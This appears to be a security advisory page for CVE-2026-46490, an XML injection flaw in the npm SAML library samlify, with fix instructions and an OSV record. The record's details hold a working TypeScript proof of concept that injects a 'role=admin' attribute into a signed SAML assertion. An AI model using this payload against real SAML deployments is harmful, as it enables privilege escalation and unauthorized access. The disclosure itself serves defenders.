CVE-2026-46490: samlify XML Injection Vulnerability
HIGHCVE-2026-46490 is a HIGH xml injection vulnerability (CWE-91: XML Injection (aka Blind XPath Injection)) affecting samlify libraries in the npm ecosystem. The issue involves xml injection in attributevalue allows privilege escalation in signed saml assertions. Remediation is available by upgrading affected packages to version 2.13.0.
CVE-2026-46490 at a Glance
How to Fix CVE-2026-46490
To remediate this vulnerability, upgrade all affected samlify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install samlify@2.13.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls samlify
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-46490, inspect your project dependencies using npm:
npm ls samlify
Analyze the terminal output to locate any version of samlify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.13.0), your application is affected.
Note: The npm ls samlify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-91: XML Injection (aka Blind XPath Injection), where the product does not properly neutralize special elements that are used in xml, allowing attackers to modify the syntax, content, or commands of the xml before it is processed by an end system. In samlify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46490 Affected samlify Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
samlify
|
npm |
< 2.13.0
|
2.13.0
|
References
Frequently Asked Questions
What is CVE-2026-46490?
Which samlify versions are affected?
What version fixes CVE-2026-46490?
Is samlify affected?
What CWE is associated with CVE-2026-46490?
How can I check npm dependencies for CVE-2026-46490?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-34r5-q4jw-r36m",
"modified" : "2026-06-09T13:12:28Z",
"published" : "2026-05-21T17:14:07Z",
"aliases" : [ "CVE-2026-46490" ],
"summary" : "samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions",
"details" : "## Summary\n\nsamlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., `<saml:AttributeValue>`) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new `<saml:Attribute>` elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).\n\n## Root Cause\n\n`src/libsaml.ts` → `replaceTagsByValue()` only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:\n\n```\n<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>\n```\n\nTherefore, `</saml:AttributeValue>…<saml:Attribute …>` is accepted and signed.\n\n## Proof-of-concept\n\n- poc/attribute_injection.ts\n\n```TS\nimport { readFileSync } from 'fs';\nimport * as samlify from '../index';\nimport * as validator from '@authenio/samlify-xsd-schema-validator';\n\nsamlify.setSchemaValidator(validator);\n\nconst { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;\n\nconst loginResponseTemplate = {\n context: '<samlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"{ID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" Destination=\"{Destination}\" InResponseTo=\"{InResponseTo}\"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value=\"{StatusCode}\"/></samlp:Status><saml:Assertion ID=\"{AssertionID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format=\"{NameIDFormat}\">{NameID}</saml:NameID><saml:SubjectConfirmation Method=\"urn:oasis:names:tc:SAML:2.0:cm:bearer\"><saml:SubjectConfirmationData NotOnOrAfter=\"{SubjectConfirmationDataNotOnOrAfter}\" Recipient=\"{SubjectRecipient}\" InResponseTo=\"{InResponseTo}\"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore=\"{ConditionsNotBefore}\" NotOnOrAfter=\"{ConditionsNotOnOrAfter}\"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',\n attributes: [\n { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },\n { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },\n ],\n};\n\nconst idp = IdentityProvider({\n privateKey: readFileSync('./test/key/idp/privkey.pem'),\n privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',\n isAssertionEncrypted: false,\n metadata: readFileSync('./test/misc/idpmeta.xml'),\n loginResponseTemplate,\n});\n\nconst sp = ServiceProvider({\n privateKey: readFileSync('./test/key/sp/privkey.pem'),\n privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',\n isAssertionEncrypted: false,\n metadata: readFileSync('./test/misc/spmeta.xml'),\n});\n\nconst buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {\n const now = new Date();\n const fiveMinutesLater = new Date(now.getTime() + 300_000);\n const tvalue = {\n ID: _idp.entitySetting.generateID(),\n AssertionID: _idp.entitySetting.generateID(),\n Destination: _sp.entityMeta.getAssertionConsumerService('post'),\n Audience: _sp.entityMeta.getEntityID(),\n SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),\n NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',\n NameID: user.email,\n Issuer: _idp.entityMeta.getEntityID(),\n IssueInstant: now.toISOString(),\n ConditionsNotBefore: now.toISOString(),\n ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),\n SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),\n InResponseTo: 'request-id',\n StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',\n attrUserEmail: user.email,\n attrUserInjection: user.injection,\n };\n\n return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };\n};\n\nasync function main() {\n const injection = [\n 'safe',\n '</saml:AttributeValue></saml:Attribute>',\n '<saml:Attribute Name=\"role\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\">',\n '<saml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\">admin</saml:AttributeValue>',\n '</saml:Attribute>',\n '<saml:Attribute Name=\"injection\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\">',\n '<saml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\">safe'\n ].join('');\n\n const user = { email: 'user@esaml2.com', injection };\n const { context: SAMLResponse } = await idp.createLoginResponse(\n sp,\n { extract: { request: { id: 'request-id' } } },\n 'post',\n user,\n buildTemplate(idp, sp, 'post', user)\n );\n\n const xml = util.base64Decode(SAMLResponse, true).toString();\n console.log('--- Generated XML snippet ---');\n console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));\n\n const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });\n\n console.log('Parsed attributes:', extract.attributes);\n}\n\nmain().catch(err => {\n console.error('PoC failed:', err?.message || err);\n process.exitCode = 1;\n});\n```\n\n**Run:**\n\n```\n npm install --legacy-peer-deps\n npx ts-node poc/attribute_injection.ts\n```\n\n## Impact \n\nA normal user can inject arbitrary attributes (e.g., `role=admin`) into a signed assertion and have them parsed by `sp.parseLoginResponse()`. This can grant elevated privileges in SPs that trust SAML attributes.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "samlify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.13.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46490"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/tngan/samlify"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-91" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-21T17:14:07Z",
"nvd_published_at" : "2026-06-08T19:16:45Z"
}
}